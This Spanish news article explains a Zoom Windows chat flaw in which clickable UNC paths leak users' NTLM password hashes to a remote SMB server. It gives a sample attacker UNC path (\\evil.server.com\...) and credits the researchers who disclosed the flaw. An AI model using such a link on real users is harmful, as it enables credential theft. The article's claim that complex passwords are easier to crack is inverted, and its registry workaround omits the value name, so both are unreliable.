Vulnerabilidad en Zoom permite robar credenciales de Windows.

Durante la cuarenta esta plataforma de videoconferencia ha sido útil para diversos usos, como por ejemplo, clases virtuales, reuniones familiares, reuniones corporativas y reuniones de trabajo.

El cliente Zoom de Windows es vulnerable a la inyección de ruta UNC en la función de chat.

Concretamente es vulnerable a la de inyección de ruta UNC en la función de chat del cliente.
Esto permitiría a los atacantes robar credenciales de Windows a los usuarios que interactuan con dicha ruta poniendo en riesgo su seguridad y privacidad.

¿Cómo funciona?

Cuando se envía una URL a la bandeja de chat a la plataforma, ese enlace se convierte en un hipervínculo para que otros usuarios puedan hacer clic en él e ir directamente a un sitio web.

El investigador de seguridad @_g0dmode descubrió que el cliente Zoom convertirá también las rutas UNC de red de Windows en un enlace clicable.

Como se observa, una URL normal y la ruta UNC de \\evil.server.com\ images\ cat.jpg.
Si un usuario hace clic en un enlace de ruta UNC, Windows intenta conectarse al sitio remoto utilizando el protocolo SMB para compartir archivos y intenta abrir el archivo remoto cat.jpg.

De forma predeterminada Windows enviará el nombre de usuario de Windows y su hash de contraseña NTLM.
Hay que tener en cuenta que esa clave se podría descifrar a través de herramientas, siempre y cuando dicha clave sea muy compleja.

El investigador Matthew Hickey (@HackerFantastic) probó la inyección UNC en Zoom y, como puede ver a continuación, pudo capturar los hashes de contraseña NTLM que se envían a un servidor que aloja el recurso compartido al que se hizo clic.

Solución temporal

  • Ir a Editor del Registro de Windows
  • Ir a la siguiente ruta
    Equipo\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0
  • Crear un archivo DWORD
  • Finalmente ponemos el valor a 2
Comments are closed.